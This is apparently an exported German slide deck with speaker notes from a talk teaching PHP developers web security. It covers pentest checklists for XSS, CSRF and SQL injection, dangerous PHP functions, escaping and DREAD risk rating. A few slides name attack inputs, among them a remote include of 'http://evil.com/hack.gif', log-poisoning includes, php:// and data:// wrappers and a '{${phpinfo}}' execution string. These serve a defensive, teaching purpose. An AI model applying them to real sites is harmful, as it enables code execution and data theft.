47. BORING!
XSS PENTEST
• Typ 0 XSS
Einfache Prüfung:
wird im JavaScript der Seite
location.search oder
document.location verwendet?
48. BORING!
XSS PENTEST
• Typ 0 XSS
Einfache Prüfung:
wird im JavaScript der Seite
location.search oder
document.location verwendet?
• Wird die Seite mit diesem String manipuliert?
49. BORING!
XSS PENTEST
• Typ 0 XSS
Einfache Prüfung:
wird im JavaScript der Seite
location.search oder
document.location verwendet?
• Wird die Seite mit diesem String manipuliert?
• Typisches Beispiel: Frames und Iframes
51. BORING!
XSS PENTEST
• Typ1 / Typ 2 XSS
Alle Formularfelder oder GET-Variablen mit einer Signatur
absenden und prüfen, ob sie nach dem Submit wieder auftritt
52. BORING!
XSS PENTEST
• Typ1 / Typ 2 XSS
Alle Formularfelder oder GET-Variablen mit einer Signatur
absenden und prüfen, ob sie nach dem Submit wieder auftritt
• Anhand des Auftrittsortes eine passende XSS-Payload
konstruieren
53. BORING!
XSS PENTEST
• Typ1 / Typ 2 XSS
Alle Formularfelder oder GET-Variablen mit einer Signatur
absenden und prüfen, ob sie nach dem Submit wieder auftritt
• Anhand des Auftrittsortes eine passende XSS-Payload
konstruieren
• Falls
ein Filter greift Filter-Evasions aus dem XSS-Cheat-Sheet
verwenden
55. BORING!
CSRF PENTESTING
• Prüfung: Existiert ein Tokenschutz?
56. BORING!
CSRF PENTESTING
• Prüfung: Existiert ein Tokenschutz?
• Falls ja
57. BORING!
CSRF PENTESTING
• Prüfung: Existiert ein Tokenschutz?
• Falls ja
• Ist der Token vorhersehbar?
58. BORING!
CSRF PENTESTING
• Prüfung: Existiert ein Tokenschutz?
• Falls ja
• Ist der Token vorhersehbar?
• wird der Token überprüft?
59. BORING!
CSRF PENTESTING
• Prüfung: Existiert ein Tokenschutz?
• Falls ja
• Ist der Token vorhersehbar?
• wird der Token überprüft?
• Falls nein
60. BORING!
CSRF PENTESTING
• Prüfung: Existiert ein Tokenschutz?
• Falls ja
• Ist der Token vorhersehbar?
• wird der Token überprüft?
• Falls nein
• existiert ein Referer-Check?
64. BORING!
SQL INJECTION PENTESTING
• Parametermanipulation
• Test mit Escape-Parametern und Sonderzeichen
65. BORING!
SQL INJECTION PENTESTING
• Parametermanipulation
• Test mit Escape-Parametern und Sonderzeichen
• Lassen sich Fehlermeldungen provozieren?
66. BORING!
SQL INJECTION PENTESTING
• Parametermanipulation
• Test mit Escape-Parametern und Sonderzeichen
• Lassen sich Fehlermeldungen provozieren?
• Ändert sich etwas an den dargestellten Werten?
69. BORING!
SQL INJECTION PENTESTING
• Rekonstruktion der Query
• Wird der Wert direkt verwand oder escaped?
70. BORING!
SQL INJECTION PENTESTING
• Rekonstruktion der Query
• Wird der Wert direkt verwand oder escaped?
• Position der Injection durch Tests und Fehler
71. BORING!
SQL INJECTION PENTESTING
• Rekonstruktion der Query
• Wird der Wert direkt verwand oder escaped?
• Position der Injection durch Tests und Fehler
• Union-Versuch
72. BORING!
SQL INJECTION PENTESTING
• Rekonstruktion der Query
• Wird der Wert direkt verwand oder escaped?
• Position der Injection durch Tests und Fehler
• Union-Versuch
• Klammern-Tests
73. BORING!
SQL INJECTION PENTESTING
• Rekonstruktion der Query
• Wird der Wert direkt verwand oder escaped?
• Position der Injection durch Tests und Fehler
• Union-Versuch
• Klammern-Tests
• Feldzahl und -namen Erkennung mit Union
85. „Sinks“
• Nur bestimmte Funktionen können zu Exploits führen
• JedeExploitklasse hat ein eigenes Set an Funktionen
zB: SQL Injections, Code Executions
• Fazit: Jede Verwendung dieser Funktionen prüfen
86. SQL INJECTIONS
• Funktionen: mysql_query, mysqli_query, pdo::query, ...
• Deine Datenbankabstraktion
• Was zu prüfen wäre:
• sind die Werte korrekt escaped?
• Auch Zahlen, Sortierkriterien und -richtungen?
• Datenbank-, Tabellen- und Spaltennamen auch?
87. CODE EXECUTIONS
• Funktionen:
• eval(), create_function(), preg_replace mit modifier e,
usort, uasort, *_callback functions
• Gespeicherter und includierter Code:
• Templates in Smarty
• Cache-Daten
• “-Strings können PHP-Code ausführen! “{${phpinfo}}“
88. CODE INCLUSIONS
• Funktionen (include|require)[_once]
• Lokal: include “/var/log/http/access.log“
mit user-agent / referer
<?php ... ?>, aktueller mail()-from-Exploit
• Remote: include “http://evil.com/hack.gif“
• Other: “ftp://..“, “php://input...“, “data://...“
• allow_url_fopen hilft nicht bei data und php!
89. SHELL EXECUTIONS
• Funktionen:
shell_exec (BackTicks!), exec(), system(), popen(), passthru()
• mail()!
• Executable
und Parameter müssen bereinigt werden -
escape_shell_args hilft nur bei “
• Benutzung von escape_shell_cmd und escape_shell_args
prüfen
90. INFORMATION LEAKAGE
• Funktionen: fopen(), fread(), file(), debug_backtrace()...
• Vulnerabilities:
• lokale Dateien mit sensiblen Daten
• bei allow_url_fopen Intranet/DMZ auslesen
• lokale Konfigurationsdateien
• zu verbose Fehlermeldungen
91. XSS: Escaping prüfen
• Überall wo Daten für den Nutzer aufbereitet werden
•5 Kontexte in HTML -> 5 verschiedene Escapings
• Text: htmlentities()
• Attributes: htmlspecialchars()
• URLs: urlencode()
• JavaScript- und Stylesheet-Strings: addcslashes()
• HTML: Whitelist-Filters wie htmlpurifier
92. Tools für statische Codeanalyse
• RIPS: http://websec.wordpress.com/tools/
• XSS, SQLi, Disclosure, ...(Nicht PHP5-Kompatibel)
• Armorize CodeSecure http://www.armorize.com/ (ok
und teuer)
• HyperSource, Fortify (nur teuer)
• Kein Ersatz für manuelle Audits
Willkommen zum Vortrag - aber schauen wir mal an, wie die Situation draussen gerade so aussieht ... \n
Die Daten stammen aus einer Stichprobe von 3000 Unternehmenseiten. IT-Unternehmen stehen da im Schnitt noch mal eins schlechter da. Was passiert, wenn so eine L&#xFC;cke von einem Hacker ausgenutzt wird? \n
Dein Chef kommt in den Raum, und fragt Dich, welcher von den Praktikanten die Website ge&#xE4;ndert hat\n
Die sieht n&#xE4;mlich gerade so aus. \n
Oder so, wenn man bei einer Bank oder Sony arbeitet. \n
Auf jeden Fall haben wir erst mal ein Problem. Der Chef fragt, was passiert ist und wie man es zu fixen gedenkt. \n
Und er holt einen Security-Experten der Wahl dazu. \n
Der Security-Consulting bekommt vor allem heraus, dass die Developer vermutlich weniger Ahnung von Security hatten als er und deshalb einige Fehler passiert sind. Er listet die Fehler auf, und der Developer darf sie korrigieren. \n
Der Developer macht sich also an die Arbeit und fixt die Bugs, und hofft, dass der Hacker seinen Spass hatte und woanders einkaufen geht.\n
Die Zeit vergeht ... \n
Und 2 Jahre sp&#xE4;ter kommt Dein Chef wieder zu Dir und fragt Dich, welcher Praktikant an der Website war. \n
... weil Deine Website jetzt so aussieht. \n
Und er holt einen Security-Experten der Wahl dazu. \n
Der Security-Consulting bekommt vor allem heraus, dass der Developer nichts dazu gelernt hat. \n
\n
Die L&#xF6;sung: der Developer sollte wissen, wie Security funktioniert, damit er selbst f&#xFC;r Sicherheit sorgen kann.\n
Aber wie gehe ich vor? Wogegen will ich mich &#xFC;berhaupt absichern?\n
Genau, gegen meine gr&#xF6;&#xDF;ten Sicherheitsrisiken. Die m&#xF6;chte ich bitte kennen und beheben.\n
Mein Problem ist aber: nicht alles, was wie ein Sicherheitsproblem aussieht, ist auch eins. \nAber wie unterscheide ich ein wirklich wichtiges von einem nicht so wichtigen Sicherheitsproblem?\n
Wie macht man eine brauchbare Bewertung des Risikos? \nFragen wir doch mal jemanden, der sich damit auskennt ... \n
Den Dread. Der Dread hat zu Zeiten von Code Red und Nimda bei Microsoft angefangen ist Experte in Risikobewertung. \n
Damage: Geldtransaktionen, personenbezogene Daten, In-Game-W&#xE4;hrungen \nReproduzierbarkeit - sehr m&#xFC;hsam oder in wenigen f&#xE4;llen? \nExploitablity - kann ich es tats&#xE4;chlich exploiten, oder ist es eine Second-Order-Attacke?\nAffected Users - wen betrifft es wirklich?\nDiscoverablity - wie leicht ist es zu entdecken, und damit: wie wahrscheinlich ist die Entdeckung?\n
\n
\n
\n
\n
\n
\n
\n
Um Informationen &#xFC;ber eine Website zu sammeln brauche ich sie noch nicht mal zu besuchen - ich kann auch rein remote informationen bekommen. Am Ende habe ich eine Sitemap mit Urls, die ich mir noch mal angucken m&#xF6;chte - besonders welche mit formularen etc..\n
Um Informationen &#xFC;ber eine Website zu sammeln brauche ich sie noch nicht mal zu besuchen - ich kann auch rein remote informationen bekommen. Am Ende habe ich eine Sitemap mit Urls, die ich mir noch mal angucken m&#xF6;chte - besonders welche mit formularen etc..\n
Um Informationen &#xFC;ber eine Website zu sammeln brauche ich sie noch nicht mal zu besuchen - ich kann auch rein remote informationen bekommen. Am Ende habe ich eine Sitemap mit Urls, die ich mir noch mal angucken m&#xF6;chte - besonders welche mit formularen etc..\n
Um Informationen &#xFC;ber eine Website zu sammeln brauche ich sie noch nicht mal zu besuchen - ich kann auch rein remote informationen bekommen. Am Ende habe ich eine Sitemap mit Urls, die ich mir noch mal angucken m&#xF6;chte - besonders welche mit formularen etc..\n
Wenn ich das habe, versuche ich mein Gl&#xFC;ck mit Parameter Manipulation. \n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
Fragen ob bekannt?\n
Fragen ob bekannt?\n
Fragen ob bekannt?\n
Fragen ob bekannt?\n
Fragen ob bekannt?\n
Fragen ob bekannt?\n
\n
\n
\n
\n
\n
Hier helfen Tools wie SQLMap\n
Hier helfen Tools wie SQLMap\n
Hier helfen Tools wie SQLMap\n
Hier helfen Tools wie SQLMap\n
Hier helfen Tools wie SQLMap\n
Hier helfen Tools wie SQLMap\n
\n
\n
\n
\n
\n
\n
\n
\n
F&#xFC;r uns PHPler: Zend IDE oder PHPStorm, oder eben VI oder Emacs f&#xFC;r die religi&#xF6;sen Fanatisten :-)\n
\n
\n
Parameter binding does just help 80% for sql injection!\n